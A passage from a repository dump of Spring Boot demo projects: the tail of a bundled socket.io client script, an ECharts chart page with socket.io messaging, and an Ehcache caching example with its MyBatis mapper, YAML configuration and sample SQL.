error\"}}},{\"./binary\":45,\"./is-buffer\":47,\"component-emitter\":9,debug:10,isarray:48,json3:49}],47:[function(_dereq_,module,exports){(function(global){module.exports=isBuf;function isBuf(obj){return global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],48:[function(_dereq_,module,exports){module.exports=_dereq_(32)},{}],49:[function(_dereq_,module,exports){(function(window){var getClass={}.toString,isProperty,forEach,undef;var isLoader=typeof define===\"function\"&&define.amd;var nativeJSON=typeof JSON==\"object\"&&JSON;var JSON3=typeof exports==\"object\"&&exports&&!exports.nodeType&&exports;if(JSON3&&nativeJSON){JSON3.stringify=nativeJSON.stringify;JSON3.parse=nativeJSON.parse}else{JSON3=window.JSON=nativeJSON||{}}var isExtended=new Date(-0xc782b5b800cec);try{isExtended=isExtended.getUTCFullYear()==-109252&&isExtended.getUTCMonth()===0&&isExtended.getUTCDate()===1&&isExtended.getUTCHours()==10&&isExtended.getUTCMinutes()==37&&isExtended.getUTCSeconds()==6&&isExtended.getUTCMilliseconds()==708}catch(exception){}function has(name){if(has[name]!==undef){return has[name]}var isSupported;if(name==\"bug-string-char-index\"){isSupported=\"a\"[0]!=\"a\"}else if(name==\"json\"){isSupported=has(\"json-stringify\")&&has(\"json-parse\")}else{var value,serialized='{\"a\":[1,true,false,null,\"\\\\u0000\\\\b\\\\n\\\\f\\\\r\\\\t\"]}';if(name==\"json-stringify\"){var stringify=JSON3.stringify,stringifySupported=typeof stringify==\"function\"&&isExtended;if(stringifySupported){(value=function(){return 1}).toJSON=value;try{stringifySupported=stringify(0)===\"0\"&&stringify(new Number)===\"0\"&&stringify(new String)=='\"\"'&&stringify(getClass)===undef&&stringify(undef)===undef&&stringify()===undef&&stringify(value)===\"1\"&&stringify([value])==\"[1]\"&&stringify([undef])==\"[null]\"&&stringify(null)==\"null\"&&stringify([undef,getClass,null])==\"[null,null,null]\"&&stringify({a:[value,true,false,null,\"\\x00\\b\\n\\f\\r\t\"]})==serialized&&stringify(null,value)===\"1\"&&stringify([1,2],null,1)==\"[\\n 1,\\n 2\\n]\"&&stringify(new Date(-864e13))=='\"-271821-04-20T00:00:00.000Z\"'&&stringify(new Date(864e13))=='\"+275760-09-13T00:00:00.000Z\"'&&stringify(new Date(-621987552e5))=='\"-000001-01-01T00:00:00.000Z\"'&&stringify(new Date(-1))=='\"1969-12-31T23:59:59.999Z\"'}catch(exception){stringifySupported=false}}isSupported=stringifySupported}if(name==\"json-parse\"){var parse=JSON3.parse;if(typeof parse==\"function\"){try{if(parse(\"0\")===0&&!parse(false)){value=parse(serialized);var parseSupported=value[\"a\"].length==5&&value[\"a\"][0]===1;if(parseSupported){try{parseSupported=!parse('\"\t\"')}catch(exception){}if(parseSupported){try{parseSupported=parse(\"01\")!==1}catch(exception){}}if(parseSupported){try{parseSupported=parse(\"1.\")!==1}catch(exception){}}}}}catch(exception){parseSupported=false}}isSupported=parseSupported}}return has[name]=!!isSupported}if(!has(\"json\")){var functionClass=\"[object Function]\";var dateClass=\"[object Date]\";var numberClass=\"[object Number]\";var stringClass=\"[object String]\";var arrayClass=\"[object Array]\";var booleanClass=\"[object Boolean]\";var charIndexBuggy=has(\"bug-string-char-index\");if(!isExtended){var floor=Math.floor;var Months=[0,31,59,90,120,151,181,212,243,273,304,334];var getDay=function(year,month){return Months[month]+365*(year-1970)+floor((year-1969+(month=+(month>1)))/4)-floor((year-1901+month)/100)+floor((year-1601+month)/400)}}if(!(isProperty={}.hasOwnProperty)){isProperty=function(property){var members={},constructor;if((members.__proto__=null,members.__proto__={toString:1},members).toString!=getClass){isProperty=function(property){var original=this.__proto__,result=property in(this.__proto__=null,this);this.__proto__=original;return result}}else{constructor=members.constructor;isProperty=function(property){var parent=(this.constructor||constructor).prototype;return property in this&&!(property in parent&&this[property]===parent[property])}}members=null;return isProperty.call(this,property)}}var PrimitiveTypes={\"boolean\":1,number:1,string:1,undefined:1};var isHostType=function(object,property){var type=typeof object[property];return type==\"object\"?!!object[property]:!PrimitiveTypes[type]};forEach=function(object,callback){var size=0,Properties,members,property;(Properties=function(){this.valueOf=0}).prototype.valueOf=0;members=new Properties;for(property in members){if(isProperty.call(members,property)){size++}}Properties=members=null;if(!size){members=[\"valueOf\",\"toString\",\"toLocaleString\",\"propertyIsEnumerable\",\"isPrototypeOf\",\"hasOwnProperty\",\"constructor\"];forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,length;var hasProperty=!isFunction&&typeof object.constructor!=\"function\"&&isHostType(object,\"hasOwnProperty\")?object.hasOwnProperty:isProperty;for(property in object){if(!(isFunction&&property==\"prototype\")&&hasProperty.call(object,property)){callback(property)}}for(length=members.length;property=members[--length];hasProperty.call(object,property)&&callback(property));}}else if(size==2){forEach=function(object,callback){var members={},isFunction=getClass.call(object)==functionClass,property;for(property in object){if(!(isFunction&&property==\"prototype\")&&!isProperty.call(members,property)&&(members[property]=1)&&isProperty.call(object,property)){callback(property)}}}}else{forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,isConstructor;for(property in object){if(!(isFunction&&property==\"prototype\")&&isProperty.call(object,property)&&!(isConstructor=property===\"constructor\")){callback(property)}}if(isConstructor||isProperty.call(object,property=\"constructor\")){callback(property)}}}return forEach(object,callback)};if(!has(\"json-stringify\")){var Escapes={92:\"\\\\\\\\\",34:'\\\\\"',8:\"\\\\b\",12:\"\\\\f\",10:\"\\\\n\",13:\"\\\\r\",9:\"\\\\t\"};var leadingZeroes=\"000000\";var toPaddedString=function(width,value){return(leadingZeroes+(value||0)).slice(-width)};var unicodePrefix=\"\\\\u00\";var quote=function(value){var result='\"',index=0,length=value.length,isLarge=length>10&&charIndexBuggy,symbols;if(isLarge){symbols=value.split(\"\")}for(;index<length;index++){var charCode=value.charCodeAt(index);switch(charCode){case 8:case 9:case 10:case 12:case 13:case 34:case 92:result+=Escapes[charCode];break;default:if(charCode<32){result+=unicodePrefix+toPaddedString(2,charCode.toString(16));break}result+=isLarge?symbols[index]:charIndexBuggy?value.charAt(index):value[index]}}return result+'\"'};var serialize=function(property,object,callback,properties,whitespace,indentation,stack){var value,className,year,month,date,time,hours,minutes,seconds,milliseconds,results,element,index,length,prefix,result;try{value=object[property]}catch(exception){}if(typeof value==\"object\"&&value){className=getClass.call(value);if(className==dateClass&&!isProperty.call(value,\"toJSON\")){if(value>-1/0&&value<1/0){if(getDay){date=floor(value/864e5);for(year=floor(date/365.2425)+1970-1;getDay(year+1,0)<=date;year++);for(month=floor((date-getDay(year,0))/30.42);getDay(year,month+1)<=date;month++);date=1+date-getDay(year,month);time=(value%864e5+864e5)%864e5;hours=floor(time/36e5)%24;minutes=floor(time/6e4)%60;seconds=floor(time/1e3)%60;milliseconds=time%1e3}else{year=value.getUTCFullYear();month=value.getUTCMonth();date=value.getUTCDate();hours=value.getUTCHours();minutes=value.getUTCMinutes();seconds=value.getUTCSeconds();milliseconds=value.getUTCMilliseconds()}value=(year<=0||year>=1e4?(year<0?\"-\":\"+\")+toPaddedString(6,year<0?-year:year):toPaddedString(4,year))+\"-\"+toPaddedString(2,month+1)+\"-\"+toPaddedString(2,date)+\"T\"+toPaddedString(2,hours)+\":\"+toPaddedString(2,minutes)+\":\"+toPaddedString(2,seconds)+\".\"+toPaddedString(3,milliseconds)+\"Z\"}else{value=null}}else if(typeof value.toJSON==\"function\"&&(className!=numberClass&&className!=stringClass&&className!=arrayClass||isProperty.call(value,\"toJSON\"))){value=value.toJSON(property)}}if(callback){value=callback.call(object,property,value)}if(value===null){return\"null\"}className=getClass.call(value);if(className==booleanClass){return\"\"+value}else if(className==numberClass){return value>-1/0&&value<1/0?\"\"+value:\"null\"}else if(className==stringClass){return quote(\"\"+value)}if(typeof value==\"object\"){for(length=stack.length;length--;){if(stack[length]===value){throw TypeError()}}stack.push(value);results=[];prefix=indentation;indentation+=whitespace;if(className==arrayClass){for(index=0,length=value.length;index<length;index++){element=serialize(index,value,callback,properties,whitespace,indentation,stack);results.push(element===undef?\"null\":element)}result=results.length?whitespace?\"[\\n\"+indentation+results.join(\",\\n\"+indentation)+\"\\n\"+prefix+\"]\":\"[\"+results.join(\",\")+\"]\":\"[]\"}else{forEach(properties||value,function(property){var element=serialize(property,value,callback,properties,whitespace,indentation,stack);if(element!==undef){results.push(quote(property)+\":\"+(whitespace?\" \":\"\")+element)}});result=results.length?whitespace?\"{\\n\"+indentation+results.join(\",\\n\"+indentation)+\"\\n\"+prefix+\"}\":\"{\"+results.join(\",\")+\"}\":\"{}\"}stack.pop();return result}};JSON3.stringify=function(source,filter,width){var whitespace,callback,properties,className;if(typeof filter==\"function\"||typeof filter==\"object\"&&filter){if((className=getClass.call(filter))==functionClass){callback=filter}else if(className==arrayClass){properties={};for(var index=0,length=filter.length,value;index<length;value=filter[index++],(className=getClass.call(value),className==stringClass||className==numberClass)&&(properties[value]=1));}}if(width){if((className=getClass.call(width))==numberClass){if((width-=width%1)>0){for(whitespace=\"\",width>10&&(width=10);whitespace.length<width;whitespace+=\" \");}}else if(className==stringClass){whitespace=width.length<=10?width:width.slice(0,10)}}return serialize(\"\",(value={},value[\"\"]=source,value),callback,properties,whitespace,\"\",[])}}if(!has(\"json-parse\")){var fromCharCode=String.fromCharCode;var Unescapes={92:\"\\\\\",34:'\"',47:\"/\",98:\"\\b\",116:\"\t\",110:\"\\n\",102:\"\\f\",114:\"\\r\"};var Index,Source;var abort=function(){Index=Source=null;throw SyntaxError()};var lex=function(){var source=Source,length=source.length,value,begin,position,isSigned,charCode;while(Index<length){charCode=source.charCodeAt(Index);switch(charCode){case 9:case 10:case 13:case 32:Index++;break;case 123:case 125:case 91:case 93:case 58:case 44:value=charIndexBuggy?source.charAt(Index):source[Index];Index++;return value;case 34:for(value=\"@\",Index++;Index<length;){charCode=source.charCodeAt(Index);if(charCode<32){abort()}else if(charCode==92){charCode=source.charCodeAt(++Index);switch(charCode){case 92:case 34:case 47:case 98:case 116:case 110:case 102:case 114:value+=Unescapes[charCode];Index++;break;case 117:begin=++Index;for(position=Index+4;Index<position;Index++){charCode=source.charCodeAt(Index);if(!(charCode>=48&&charCode<=57||charCode>=97&&charCode<=102||charCode>=65&&charCode<=70)){abort()}}value+=fromCharCode(\"0x\"+source.slice(begin,Index));break;default:abort()}}else{if(charCode==34){break}charCode=source.charCodeAt(Index);begin=Index;while(charCode>=32&&charCode!=92&&charCode!=34){charCode=source.charCodeAt(++Index)}value+=source.slice(begin,Index)}}if(source.charCodeAt(Index)==34){Index++;return value}abort();default:begin=Index;if(charCode==45){isSigned=true;charCode=source.charCodeAt(++Index)}if(charCode>=48&&charCode<=57){if(charCode==48&&(charCode=source.charCodeAt(Index+1),charCode>=48&&charCode<=57)){abort()}isSigned=false;for(;Index<length&&(charCode=source.charCodeAt(Index),charCode>=48&&charCode<=57);Index++);if(source.charCodeAt(Index)==46){position=++Index;for(;position<length&&(charCode=source.charCodeAt(position),charCode>=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}charCode=source.charCodeAt(Index);if(charCode==101||charCode==69){charCode=source.charCodeAt(++Index);if(charCode==43||charCode==45){Index++}for(position=Index;position<length&&(charCode=source.charCodeAt(position),charCode>=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}return+source.slice(begin,Index)}if(isSigned){abort()}if(source.slice(Index,Index+4)==\"true\"){Index+=4;return true}else if(source.slice(Index,Index+5)==\"false\"){Index+=5;return false}else if(source.slice(Index,Index+4)==\"null\"){Index+=4;return null}abort()}}return\"$\"};var get=function(value){var results,hasMembers;if(value==\"$\"){abort()}if(typeof value==\"string\"){if((charIndexBuggy?value.charAt(0):value[0])==\"@\"){return value.slice(1)}if(value==\"[\"){results=[];for(;;hasMembers||(hasMembers=true)){value=lex();if(value==\"]\"){break}if(hasMembers){if(value==\",\"){value=lex();if(value==\"]\"){abort()}}else{abort()}}if(value==\",\"){abort()}results.push(get(value))}return results}else if(value==\"{\"){results={};for(;;hasMembers||(hasMembers=true)){value=lex();if(value==\"}\"){break}if(hasMembers){if(value==\",\"){value=lex();if(value==\"}\"){abort()}}else{abort()}}if(value==\",\"||typeof value!=\"string\"||(charIndexBuggy?value.charAt(0):value[0])!=\"@\"||lex()!=\":\"){abort()}results[value.slice(1)]=get(lex())}return results}abort()}return value};var update=function(source,property,callback){var element=walk(source,property,callback);if(element===undef){delete source[property]}else{source[property]=element}};var walk=function(source,property,callback){var value=source[property],length;if(typeof value==\"object\"&&value){if(getClass.call(value)==arrayClass){for(length=value.length;length--;){update(value,length,callback)}}else{forEach(value,function(property){update(value,property,callback)})}}return callback.call(source,property,value)};JSON3.parse=function(source,callback){var result,value;Index=0;Source=\"\"+source;result=get(lex());if(lex()!=\"$\"){abort()}Index=Source=null;return callback&&getClass.call(callback)==functionClass?walk((value={},value[\"\"]=result,value),\"\",callback):result}}}if(isLoader){define(function(){return JSON3})}})(this)},{}],50:[function(_dereq_,module,exports){module.exports=toArray;function toArray(list,index){var array=[];index=index||0;for(var i=index||0;i<list.length;i++){array[i-index]=list[i]}return array}},{}]},{},[1])(1)});"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/resources/templates/index.html",
    "content": "<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta name=\"renderer\" content=\"webkit\">\n    <title>Echarts Demo</title>\n    <link rel=\"shortcut icon\" th:href=\"@{/favicon.ico}\"/>\n    <link th:href=\"@{/static/css/bootstrap.css}\" rel=\"stylesheet\"/>\n    <style>\n        body {\n            padding: 20px;\n        }\n        #console {\n            height: 100px;\n            overflow: auto;\n        }\n        .connect-msg {\n            color: green;\n        }\n        .disconnect-msg {\n            color: red;\n        }\n        .send-msg {\n            color: #888\n        }\n    </style>\n</head>\n<body>\n<h1>Netty-socketio Demo Chat</h1>\n<br/>\n<div id=\"console\" class=\"well\"></div>\n\n<!-- 为 ECharts 准备一个具备大小（宽高）的 DOM -->\n<div id=\"main\" style=\"width:860px; height:470px;\"></div>\n\n<form class=\"well form-inline\" onsubmit=\"return false;\">\n    <input id=\"msg\" class=\"input-xlarge\" type=\"text\" placeholder=\"Type something...\"/>\n    <button type=\"button\" onClick=\"sendDisconnect()\" class=\"btn\">Disconnect</button>\n    <button type=\"button\" onClick=\"sendSavePic()\" class=\"btn\">Save Picture</button>\n</form>\n\n<script th:src=\"@{/static/js/jquery-1.10.1.min.js}\"></script>\n<script th:src=\"@{/static/js/socket.io.js}\"></script>\n<script th:src=\"@{/static/js/moment.min.js}\"></script>\n<script th:src=\"@{/static/js/echarts.common.min.js}\" charset=\"utf-8\"></script>\n\n<script>\n    var socket;\n    var myChart;\n\n    function sendDisconnect() {\n        socket.disconnect();\n    }\n\n    function output(message) {\n        var currentTime = \"<span class='time'>\" + moment().format('HH:mm:ss.SSS') + \"</span>\";\n        var element = $(\"<div>\" + currentTime + \" \" + message + \"</div>\");\n        $('#console').prepend(element);\n    }\n\n    function sendSavePic() {\n        socket.emit('savePic', myChart.getDataURL(), function (result) {\n            output('<span class=\"connect-msg\">' + result + '</span>');\n        });\n    }\n\n    function initPage() {\n        console.log('this is index.html log...');\n\n        var userName = 'user' + Math.floor((Math.random() * 1000) + 1);\n        socket = io.connect('http://localhost:9076');\n\n        console.log('socket = ' + socket);\n\n        socket.on('connect', function () {\n            console.log('connect successful');\n            output('<span class=\"connect-msg\">Client has connected to the server!</span>');\n        });\n\n        socket.on('ping', function () {\n            console.log('ping successful');\n            output('<span class=\"connect-msg\">Client Ping msg to the server!</span>');\n        });\n\n        socket.on('pong', function () {\n            console.log('pong successful');\n            output('<span class=\"connect-msg\">Client Pong msg from the server!</span>');\n        });\n\n        socket.on('disconnect', function () {\n            console.log('disconnect successful');\n            output('<span class=\"disconnect-msg\">The client has disconnected!</span>');\n        });\n\n        socket.on('notify', function (jsonBody) {\n            console.log('get notify message from server...');\n            var msg = JSON.parse(jsonBody);\n            output('<span class=\"connect-msg\">接收到notify消息, 去给我保存图片</span>');\n            var option = msg.option;\n            // 使用刚指定的配置项和数据显示图表。\n            myChart.setOption(JSON.parse(option));\n            // 渲染完成之后再给服务器发送保存图片消息\n            sendSavePic();\n        });\n\n        /**************************************分割线***********************************/\n        // 基于准备好的dom，初始化echarts实例\n        myChart = echarts.init(document.getElementById('main'));\n        console.log('index initPage finished!')\n    }\n\n    $(function () {\n        initPage();\n    });\n\n</script>\n\n</body>\n\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/test/java/com/xncoding/echarts/common/util/ApplicationTests.java",
    "content": "package com.xncoding.echarts.common.util;\n\nimport com.xncoding.echarts.api.model.jmh.*;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.ObjectWriter;\nimport okhttp3.*;\nimport org.junit.Test;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.xncoding.echarts.common.util.ExportPngUtil.generateOption;\nimport static com.xncoding.echarts.common.util.ExportPngUtil.postOption;\nimport static org.hamcrest.Matchers.*;\nimport static org.junit.Assert.*;\n\npublic class ApplicationTests {\n\n    @Test\n    public void isNewer() {\n        assertThat(CommonUtil.isNewer(\"1.2.1\", \"1.2.0\"), is(true));\n        assertThat(CommonUtil.isNewer(\"1.2\", \"1.2.0\"), is(false));\n        assertThat(CommonUtil.isNewer(\"2.1.9\", \"1.2.0\"), is(true));\n        assertThat(CommonUtil.isNewer(\"adfa.1.3\", \"1.2.0\"), is(false));\n    }\n\n    @Test\n    public void testTimestamp() {\n        System.out.println(System.currentTimeMillis());\n    }\n\n    @Test\n    public void testOption() throws Exception {\n        String titleStr = \"对象序列化为JSON字符串\";\n        // 几个测试对象\n        List<String> objects = Arrays.asList(\"FastJson\", \"Jackson\", \"Gson\", \"Json-lib\");\n        // 测试维度，输入值n\n        List<String> dimensions = Arrays.asList(\"10000次\", \"100000次\", \"1000000次\");\n        // 有几个测试对象，就有几组测试数据，每组测试数据中对应几个维度的结果\n        List<List<Double>> allData = new ArrayList<List<Double>>(){{\n           add(Arrays.asList(2.17, 9.10, 21.70));\n           add(Arrays.asList(1.94, 8.94, 19.43));\n           add(Arrays.asList(4.88, 22.88, 48.89));\n           add(Arrays.asList(9.11, 58.14, 108.44));\n        }};\n        String optionStr = generateOption(titleStr, objects, dimensions, allData, \"秒\");\n        // POST到接口上\n        postOption(optionStr, \"http://localhost:9075/api/v1/data\");\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_ehcache_cache</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.9.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.7</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t\n\t\t<!-- https://mvnrepository.com/artifact/org.mybatis.spring.boot/mybatis-spring-boot-starter -->\n\t\t<dependency>\n\t\t    <groupId>org.mybatis.spring.boot</groupId>\n\t\t    <artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t    <version>1.3.1</version>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t    <groupId>org.springframework.boot</groupId>\n\t\t    <artifactId>spring-boot-starter-cache</artifactId>\n\t\t</dependency>\n\t\t\n\t\t<!-- ehcache -->\n\t\t<dependency>\n\t\t    <groupId>net.sf.ehcache</groupId>\n\t\t    <artifactId>ehcache</artifactId>\n\t\t</dependency>\n\t\t\n\t\t\n\t\t<dependency>\n\t\t   <groupId>com.alibaba</groupId>\n\t\t   <artifactId>druid-spring-boot-starter</artifactId>\n\t\t   <version>1.1.6</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.oracle.database.jdbc</groupId>\n\t\t\t<artifactId>ojdbc5</artifactId>\n\t\t\t<version>11.2.0.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13.1</version>\n\t\t</dependency>\n\t\t <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/java/com/springboot/Application.java",
    "content": "package com.springboot;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.cache.annotation.EnableCaching;\n\n\n@SpringBootApplication\n@EnableCaching\npublic class Application {\n\t\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class,args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/java/com/springboot/bean/Student.java",
    "content": "package com.springboot.bean;\n\nimport java.io.Serializable;\n\npublic class Student implements Serializable{\n\t\n\tprivate static final long serialVersionUID = -339516038496531943L;\n\tprivate String sno;\n\tprivate String name;\n\tprivate String sex;\n\tpublic String getSno() {\n\t\treturn sno;\n\t}\n\tpublic void setSno(String sno) {\n\t\tthis.sno = sno;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/java/com/springboot/mapper/StudentMapper.java",
    "content": "package com.springboot.mapper;\n\nimport org.apache.ibatis.annotations.Delete;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Result;\nimport org.apache.ibatis.annotations.Results;\nimport org.apache.ibatis.annotations.Select;\nimport org.apache.ibatis.annotations.Update;\n\nimport com.springboot.bean.Student;\n\n@Mapper\npublic interface StudentMapper {\n\n\t@Update(\"update student set sname=#{name},ssex=#{sex} where sno=#{sno}\")\n\tint update(Student student);\n\n\t@Delete(\"delete from student where sno=#{sno}\")\n\tvoid deleteStudentBySno(String sno);\n\n\t@Select(\"select * from student where sno=#{sno}\")\n\t@Results(id = \"student\", value = { @Result(property = \"sno\", column = \"sno\", javaType = String.class),\n\t\t\t@Result(property = \"name\", column = \"sname\", javaType = String.class),\n\t\t\t@Result(property = \"sex\", column = \"ssex\", javaType = String.class) })\n\tStudent queryStudentBySno(String sno);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/java/com/springboot/service/StudentService.java",
    "content": "package com.springboot.service;\n\nimport org.springframework.cache.annotation.CacheConfig;\nimport org.springframework.cache.annotation.CacheEvict;\nimport org.springframework.cache.annotation.CachePut;\nimport org.springframework.cache.annotation.Cacheable;\n\nimport com.springboot.bean.Student;\n\n@CacheConfig(cacheNames = \"student\")\npublic interface StudentService {\n\t@CachePut(key = \"#p0.sno\")\n\tStudent update(Student student);\n\n\t@CacheEvict(key = \"#p0\", allEntries = true)\n\tvoid deleteStudentBySno(String sno);\n\t\n\t@Cacheable(key = \"#p0\")\n\tStudent queryStudentBySno(String sno);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/java/com/springboot/service/impl/StudentServiceImpl.java",
    "content": "package com.springboot.service.impl;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Repository;\n\nimport com.springboot.bean.Student;\nimport com.springboot.mapper.StudentMapper;\nimport com.springboot.service.StudentService;\n\n@Repository(\"studentService\")\npublic class StudentServiceImpl implements StudentService{\n\n\t@Autowired\n\tprivate StudentMapper studentMapper;\n\t\n\t@Override\n\tpublic Student update(Student student) {\n\t\tthis.studentMapper.update(student);\n\t\treturn this.studentMapper.queryStudentBySno(student.getSno());\n\t}\n\n\t@Override\n\tpublic void deleteStudentBySno(String sno) {\n\t\tthis.studentMapper.deleteStudentBySno(sno);\n\t}\n\n\t@Override\n\tpublic Student queryStudentBySno(String sno) {\n\t\treturn this.studentMapper.queryStudentBySno(sno);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/resources/application.yml",
    "content": "server:\n  context-path: /web\n\nspring:\n  datasource:\n    druid:\n      # 数据库访问配置, 使用druid数据源\n      type: com.alibaba.druid.pool.DruidDataSource\n      #driver-class-name: oracle.jdbc.driver.OracleDriver\n      #url: jdbc:oracle:thin:@localhost:1521:ORCL\n      #username: test\n      #password: 123456\n      url: jdbc:mysql://localhost:3306/test666?useUnicode=true&characterEncoding=UTF-8\n      driver-class-name: com.mysql.jdbc.Driver\n      username: root\n      password: \n      # 连接池配置\n      initial-size: 5\n      min-idle: 5\n      max-active: 20\n      # 连接等待超时时间\n      max-wait: 30000\n      # 配置检测可以关闭的空闲连接间隔时间\n      time-between-eviction-runs-millis: 60000\n      # 配置连接在池中的最小生存时间\n      min-evictable-idle-time-millis: 300000\n      validation-query: select '1' from dual\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      # 打开PSCache，并且指定每个连接上PSCache的大小\n      pool-prepared-statements: true\n      max-open-prepared-statements: 20\n      max-pool-prepared-statement-per-connection-size: 20\n      # 配置监控统计拦截的filters, 去掉后监控界面sql无法统计, 'wall'用于防火墙\n      filters: stat,wall\n      # Spring监控AOP切入点，如x.y.z.service.*,配置多个英文逗号分隔\n      aop-patterns: com.springboot.servie.*\n      \n    \n      # WebStatFilter配置\n      web-stat-filter:\n        enabled: true\n        # 添加过滤规则\n        url-pattern: /*\n        # 忽略过滤的格式\n        exclusions: '*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*'\n      \n      # StatViewServlet配置 \n      stat-view-servlet:\n        enabled: true\n        # 访问路径为/druid时，跳转到StatViewServlet\n        url-pattern: /druid/*\n        # 是否能够重置数据\n        reset-enable: false\n        # 需要账号密码才能访问控制台\n        login-username: druid\n        login-password: druid123\n        # IP白名单\n        # allow: 127.0.0.1\n        #　IP黑名单（共同存在时，deny优先于allow）\n        # deny: 192.168.1.218\n      \n      # 配置StatFilter\n      filter: \n        stat: \n          log-slow-sql: true\n\n  cache:\n    ehcache:\n      config: 'classpath:ehcache.xml'    \n          \nlogging:\n  level:\n    com:\n      springboot:\n        mapper: debug\n     "
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/resources/ehcache.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<ehcache xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:noNamespaceSchemaLocation=\"ehcache.xsd\">\n\t <defaultCache\n        maxElementsInMemory=\"10000\"\n        eternal=\"false\"\n        timeToIdleSeconds=\"3600\"\n        timeToLiveSeconds=\"0\"\n        overflowToDisk=\"false\"\n        diskPersistent=\"false\"\n        diskExpiryThreadIntervalSeconds=\"120\" />\n\n    <cache \n    \tname=\"student\"\n        maxEntriesLocalHeap=\"2000\"\n        eternal=\"false\"\n        timeToIdleSeconds=\"3600\"\n        timeToLiveSeconds=\"0\"\n        overflowToDisk=\"false\"\n        statistics=\"true\">\n    </cache>\n</ehcache>"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/main/resources/init.sql",
    "content": "CREATE TABLE STUDENT (\n    SNO VARCHAR2(3 BYTE) NOT NULL ,\n    SNAME VARCHAR2(9 BYTE) NOT NULL ,\n    SSEX CHAR(2 BYTE) NOT NULL \n);\nINSERT INTO STUDENT VALUES ('001', 'KangKang', 'M ');\nINSERT INTO STUDENT VALUES ('002', 'Mike', 'M ');\nINSERT INTO STUDENT VALUES ('003', 'Jane', 'F ');"
  },
  {
    "path": "jun_springboot_plugin/springboot_ehcache_cache/src/test/java/ApplicationTest.java",
